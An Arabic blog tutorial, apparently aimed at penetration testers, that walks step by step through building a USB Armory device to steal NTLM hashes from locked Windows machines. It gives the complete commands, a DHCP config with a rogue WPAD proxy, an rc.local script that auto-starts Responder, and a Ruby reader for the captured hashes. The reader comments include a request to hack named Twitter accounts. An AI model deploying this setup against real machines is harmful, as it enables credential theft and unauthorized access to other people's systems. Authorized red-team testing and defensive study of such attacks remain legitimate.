سرقة الصلاحيات من جهاز ويندوز مغلق باستخدام USB Armory
الكاتب: صبري صالح | يوم: 25 يونيو, 2017 | التعليقات: 7 | القراءات: - عدد المشاهدات 67٬974
USB Armory
موضوعنا اليوم هو موضوع جميل ومهم جدا لل pentester و ال red teamer ويصنف تحت ال Physical Social Engineering Attack. اليوم سنتعلم كيفية سرقة ال NTLM hashes من جهاز ويندوز حتى لو كان الجهاز في Locked باستخدام USB Armory device.
نستفيد من هاشات ال NTLM في سيناريوهات كثيرة منها على سبيل الذكر لا الحصر
- الدخول على ال Shared folders
- أو في هجمات ال PTH على الجهاز أو على الخوادم التي قد يدخلها المستخدم من جهازه المستهدف
- تنفيذ أوامر عن بعد على الجهاز المستهدف باستخدام psexec
- محاول كسر الهاش و الحصول على كلمة المرور الحقيقة باستخدام أداة hashcat (قد تستغرق وقت طويل جدا)
- إلخ
الجدير بالذكر هنا أنه لن تعيقنا أي Group policy تمنع استخدام ال USB storage لان الكمبوتر المستهدف سيتعرف عليه على أنه USB Ethernet device.
ما هو جهاز USB Armory ؟
ببساطة, هو عبارة عن جهاز كومبيوتر بحجم Flash drive. تستطيع أن تثبت عليه نظام تشغيل وتتعامل معه بكامل خصائص نظام التشغيل. مكونات USB Armory المادية أو ال Hardware مفتوحة المصدر, بمعنى أنك تستطيع أن تطلع على تفاصيل تصميم الجهاز والتغيير في مكوناته كما تشاء.
قامت شركة InversePath والتي تم الاستحواذ عليها من شركة F-Secure والمتخصصة في عمل أجهزة بنية تحتية آمنة.
سعر الجهاز هو 155 دولار أمريكي
يحتوي جهاز USB armory على microSDcard كوحدة تخزين وهنا قائمة بال microSD cards المدعومة رسمية ولكنها لا تنحصر في هذه القائمة. فكل ال microSDcard الحديثة مدعومة ولكن يفضل أن تكون ذات سرعة عالية في القراءة والكتابة. أشهر الأنواع المدعومة والمتوفرة في جميع الدول العربية هي SanDisk لكن بشرط أن تكون Ultra. وحدة التخزين هذه هي التي تحتوي على نظام التشغيل والذي سنغطي اليوم طريقة تحميل و تثبيت و إعداد النظام عليها.
الخطوة الأولى:/ تحميل نظام التشغيل وتثبيته
في البداية نذهب إلى صفحة انظمة التشغيل المدعومة رسميا من هنا. كما أحبذ أن نستخدم نسخة USB armory base images. قد يستغرب عدم اختيارالنسخة ال Kali لكن بعد بحث وجدت أن نسخة الكالي يشتكي بعض الناس منها ووجود بعض ال Bugs في منصة ARM لهذا. كما أن النسخة التي اخترتها هي نفس ما تستخدمه الكالي تماما ولا شي مختلف على الإطلاق بل بالعكس تأتي النسخة مجردة تماما من جميع البرامج مما يجعلها صغيرة الحجم وسريعة.
الأن نذهب إلى الرابط تحميل النظام ونحمل أخر image موجودة. حاليا النسخة (usbarmory-debian_jessie-base_image-20170518.raw.zip) هي الأحدث حتى تاريخ كتابة هذا المقال.
1. تحميل النظام
wget -c https://github.com/inversepath/usbarmory-debian-base_image/releases/download/20170518/usbarmory-debian_jessie-base_image-20170518.raw.zip
نتأكد من أن أننا حملنا النسخة بشكل سليم
sha256sum usbarmory-debian_jessie-base_image-20170518.raw.zip
يجب أن تكون المخرجات كما في الصفحة التحميل الرسمية.
نفك ضغط النظام
unzip usbarmory-debian_jessie-base_image-20170518.raw.zip
ينتج عنه ملف
usbarmory-debian_jessie-base_image-20170518.raw
2. معرفة مكان أو تسمية ال microSD card في الجهاز
الآن دخل ال micro SD card في جهازك, جهاز الكمبيوتر الخاص بك وليس ال USB armory. ثم اعرض جميع وحدات التخزين الموجودة في جهازك
fdisk -l
في حالة جهازي كان تسمية ال SD cards هي /dev/sdc وقد تخلف التسمية عنده. كن حذر جدا هنا لأن في مرحلة الثبيت لو اخترت وحدة تخزين خاطئة ستقوم بمسح كل ما على تلك وحدة ووضع نظام التشغيل عليها! لهذا وجب التنبيه
3. تثبيت النظام على ال microSD card
بصلاحيات ال root نفذ الأمر التالي: (انبته لمسار وحدة التخزين هنا)
dd if=usbarmory-debian_jessie-base_image-20170518.raw of=/dev/sdc bs=1M conv=fsync
تستغرق هذه العملية لتكتمل ما بين 3 إلى 4 دقائق. لاحظ أننا استخدمنا /dev/sdc وليس /dev/sdc1
الأن أخرج ال microSD card من جهازك وركبه في الـ USB armory. أنصحك بالتعامل مع ال USB armory برفق لأن أجزاءه حساسة وخفيفة جدا.
وصل ال USB armory في جهازك في أي منفذ من منافذ ال USB الخاصة بكمبيوترك وانتظر 20 ثانية حتى يعمل نظام التشغيل بشكل كامل. ستلاحظ خلالها أنها تنير وتنطفئ بشكل مستمر. بعد انتظارك نفذ الأمر
ifconfig
سترى كرت شبكة جديد يأخذ IP محدد تلقائيا وهو 10.0.0.2
الخطوة الثانية:/ إعداد نظام التشغيل
لأننا نشارك الإنترنت مع نظام ال USB Armory يجب أن نجعل نظام التشغل الأساسي يعمل كـ Gateway بالخطوات التالية
1. اسمح بتمرير ال packets
echo 1 > /proc/sys/net/ipv4/ip_forward
2. إضافة iptables rules وتفعيل ال masqurade
iptables -I FORWARD -j ACCEPT
iptables -t nat -I POSTROUTING -o wls1 -j MASQUERADE
حيث wls1 هو كرت الشبكة المتصل بالإنترنت
الآن ادخل إلى الUSB armory عن طريق ال SSH على العنوان 10.0.0.1 وهذه العناوين ستكون ثابته دائما
ssh [email protected]
كلمة المرور الافتراضية هي: usbarmory
نبدأ إعداد النظام
1. تحديث المخازن والنظام
المخازن الافتراضية التي تأتي مع التوزيع ليست كافية وبها إصدارات قديمة وبرامج أقل لهذا سنقوم بعمل تحديث مرتين. مرة بالمخازن الافتراضية والثانية بالمخازن التي نريدها
تكأد أنك تصل إلى الانترنت من ال USB Armory ثم ابد بالتحديث
apt update && apt upgrade
ثبت البرامج التالية
apt install wget apt-transport-https dirmngr
الأن اذهب إلى الموقع التالي https://debgen.simplylinux.ch ثم اختر Stable واضغط Generate. سيظهر لك المخازن المطلوبة. نسخها في المسار /etc/apt/sources.list
ضع علامة # أمام المخازن القديمة لتجاهلها.
الأن نفذ الأمر التالي مرة أخرى
apt update && apt upgrade
2. تثبيت البرامج المطلوبة
ثبت البرامج التالية
apt -y install curl git screen sqlite3 build-essential libreadline-dev libssl-dev libpq5 libpq-dev libreadline5 libsqlite3-dev libpcap-dev autoconf postgresql pgadmin3 zlib1g-dev libxml2-dev libxslt1-dev libyaml-dev inotify-tools
apt install -y ruby ruby-dev
gem install sqlite3
apt install -y python python-pip python-dev
pip install pycrypto
3. إعداد ال DHCPd
خذ نسخة احتياطية من الملف
cp /etc/dhcp/dhcpd.conf /etc/dhcp/dhcpd.conf.orig
واجعل محتويات الملف الأصلي كالتالي
# # Sample configuration file for ISC dhcpd for Debian # # have support for DDNS. ddns-update-style none; # option definitions common to all supported networks... option domain-name "attacker.zone"; option domain-name-servers 10.0.0.1; default-lease-time 600; max-lease-time 7200; # If this DHCP server is the official DHCP server for the local # network, the authoritative directive should be uncommented. authoritative; # Use this to send dhcp log messages to a different log file (you also # have to hack syslog.conf to complete the redirection). log-facility local7; # wpad - Web Proxy Auto-Discovery Protocol option local-proxy-config code 252 = text; # A slightly different configuration for an internal subnet. subnet 10.0.0.0 netmask 255.255.255.0 { range 10.0.0.2 10.0.0.3; default-lease-time 60; max-lease-time 72; option routers 10.0.0.1; option local-proxy-config "http://10.0.0.1/wpad.dat"; }
4. تحميل برنامج Responder
برنامج Responder هو واحد من أشهر البرامج حاليا في عمل خادم وهمي للكثير من الخدمات مثل HTTP/SMB/MSSQL/FTP/LDAP والتي تفيد في حقن الاتصال داخل الشبكة ويستخدم كثيرا في هجمات ال MiTM.
mkdir /pentest && cd /pentest
git clone https://github.com/spiderlabs/responder
chmod +x Responder.py
لاحظ في في إعدادات ال dhcp server أضفنا تحت WPAD أو Web Proxy Auto-Discovery Protocol وهو رابط إعدادات البروكسي والتي سيجبر فيه الجهاز المستخدم أن يذهب إلى هذا الرابط ويحملها ليقوم باكتشاف البروكس (بروكسي وهمي عن طريق برنامج Responder) قبل تصفحه أي موقع.
تشغيل البرامج تلقائيا عند بدء النظام
كل ما نريده هنا أن نجعل ال USB armory أن تشغل تلقائيا ال DHCP وبرنامج Responder بمجرد أنا يعمل النظام.
#!/bin/sh -e # # rc.local # # This script is executed at the end of each multiuser runlevel. # Make sure that the script will "exit 0" on success or any other # value on error. # # In order to enable or disable this script just change the execution # bits. # # By default this script does nothing. # Generate ssh host keys if missing FILES=$(ls /etc/ssh/ssh_host_* 2> /dev/null | wc -l) if [ "$FILES" = "0" ]; then while [ $(cat /proc/sys/kernel/random/entropy_avail) -lt 256 ]; do sleep 1; done /usr/sbin/dpkg-reconfigure openssh-server fi # Start DHCP server if ! pgrep -x "dhcpd" > /dev/null then echo "Starting DHCPd" >> /root/rc.log echo '' > /var/lib/dhcp/dhcpd.leases /usr/sbin/dhcpd fi # Start Responder echo "Staring Responder" >> /root/rc.log /usr/bin/screen -dmS responder bash -c 'cd /pentest/responder/; python Responder.py -I usb0 -f -w -r -d -F' echo "Staring cred watch" >> /root/rc.log /usr/bin/screen -dmS notify bash -c 'while inotifywait -e modify /pentest/responder/Responder.db; do shutdown -h now; done' exit 0
الخطوة:الثالثة:/ تنفيذ الهجوم واستعادة البيانات والاستفادة منها(اختراق الجهاز المستخدم)
الأن لم يبقى سوى توصيل USB Armory في الجهاز المستهدف والانتظار حتى يعمي ثم تنطفئ الإنارة تماما.
بعد اكتمال الهجوم وأخذ جهازنا, نستطيع أن نوصل ال USB Armory في الكومبيوتر الخاص بنا والحصول على الهاشات والصلاحيات التي تم جمعها
يتم تخزين الصلاحيات في مكانين
أولها قاعدة بيانات
/pentest/responder/Responder.db
ثانيها
/pentest/responder/logs/(MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt
وأفضل الملف الأول Responder.db لأنه يخزن جميع أنواع البيانات المسروقة ولا يحتاج منك البحث في أكثر من ملف مثل المسار الثاني.
قمت بعمل سكريبت صغير يقرأ قاعدة البيانات بشكل مرتب و سهل
#!/usr/bin/env ruby # KING SABRI | @KINGSABRI # Responder database reader # require "sqlite3" if ARGV.size == 1 responder_db = ARGV[0] else puts "Respnder.db path required!\nUsage: ruby responder-reader.rb /path/responder/Responder.db" exit end # Open db = SQLite3::Database.new responder_db records = db.execute "SELECT * FROM responder;" records.each do |record| puts "Timestamp: #{record[0]}" puts "Module: #{record[1]}" puts "HashType: #{record[2]}" puts "IPaddress: #{record[3]}" puts "Hostname: #{record[5].split('\\')[0]}" puts "Username: #{record[5].split('\\')[1]}" puts "Cleartext: #{record[6]}" puts "Hash: #{record[7]}" puts "Full Hash: #{record[8]}" puts end puts "[+] Number of records: #{records.size}"
ويستخدم بهذه الطريقة
ruby responder-reader.rb /pentest/responder/Responder.db
النتيجة
Timestamp: 2017-06-21 06:23:10
Module: HTTP
HashType: NTLMv2
IPaddress: 10.0.0.2
Hostname: DESKTOP-9INJ6LJ
Username: KING
Cleartext:
Hash: 8CVA8AFAF9909DA597CF3B7D84483438:0101000000000000241A342558EAD2013F8E3846E6C00698000000000200060053004D0042000100160053004D0042002D0054004F004F004C004B00490054000400120073006D0062002E006C006F00630061006C000300280073006500720076006500720032003000300033002E0073006D0062002E006C006F00630061006C000500.....
Full Hash: KING::DESKTOP-9INJ6LJ:1122334455667788:8CVA8AFAF9909DA597CF3B7D84483438:0101000000000000241A342558EAD2013F8E3846E6C00698000000000200060053004D0042000100160053004D0042002D0054004F004F004C004B00490054000400120073006D0062002E006C006F00630061006C000300280073006500720076006500720032003000300033002E0073006D0062002E006C006F00630061006C000500.....
[+] Number of records: 1
فيديو يوضح نتيجة الهجوم
بالإضافة إلى ما تم ذكره من سرقة ال NTLM hashes والجهاز وسطح المكتب مغلق, سيعمل الهجوب على إنشاء بروكسي وهمي (تذكر إعدادت ال DHCP و WPAD) ويجبر النظام على استخدامه فلو دخل المستخدم إلي جهازه وحاول تصفح الأنترنت ستظهر له شاشة تطلب إدخال اسم المستخدم كلمة المرور (غالبا ما سيدخل المستخدم كلمة المستخدم وكلمة المرور) وستخزن أيضا في قاعدة البيانات على شكل NTLM.
في النهاية أحب أن أنوه على أن استخدامات الـ USB Armory لا تنحصر في ما تطرقنا إليه فقط.
المصادر
- الموقع الرسمي
- الويكي الرسمية
- إعداد الهجوم Snagging creds from locked machines
- تلخيص متجدد لكل ما أعمله على USB Armory
- المخزن الرسمي لبرنامج Responder
المهندس صبري صالح. مهندس حماية شبكات و أنظمة و فحصها معالجة و تحليل الأحداث الأمنية و المسؤول عن تطبيق معايير الـ ISO 27001 , يعمل في بيئات متعددة المنصات. حاصل على عدة شهادات تقنية.
التعليقات:
اترك تعليقاً | عدد التعليقات: (7)
السلام عليكم،والله ماجيت هنا الابعد ماطفح الكيل،،واخر العلاج الكي كما يقولون، طلبت اللي عنده قدرة يكشف حقيقة حساب ربط بتويتر،،سيطر على كل مسابقات تويتر عشرات الايفونات،ومبالغ مالية وبطاقات شحن،ماخلاشي،،له عشرات ويمكن مئات الحسابات،تكلم الكثير عنه بس،،اذا اعترضنا وقلنا للحسابات انه ربط،قالوا هاتوا الدليل اوتجاهلونا،وغير كذا يجي من حسابات ثانية له يسب ويضايق اللي يحاول يكشفه ويهكر حسابه
ابعطيكم الحسابات الاشهر ،وهو بالاغلب يستخدم اسماء بنات
اشاهر اسم يارا الشهري واكثر وحدة اعترض عليها وهذا حسابها المدعى @123go5
والحسابات كلها اتوقع ترجع للحساب الرئيسي علي محمد من جيزان وهذا حسابه @idua2 ممكن نسميه قائد الحساب،،صايره مافيا وعصابات شغل مسابقات تويتر،،واكررر والله ماحبيت هذي الطريقة بس والله تعبنا،،اذا عارضنا وتكلمنا هكر حساباتنا،،الله يوفق ويرفع درجات اللي يساهم بفضح النصاب
شكرا على مجهودك فى السرد والايضاح ، هل هناك بديل اخر لل USB Armory
kid
عايز اتعلم الهكر
Hi Hkarrr
Hkarrr Ademm
السلام عليكم كيف الحال.
العم صبري الله يفتح عليك اعطينا شروحات
عن الكالي لنيكس والتارموكس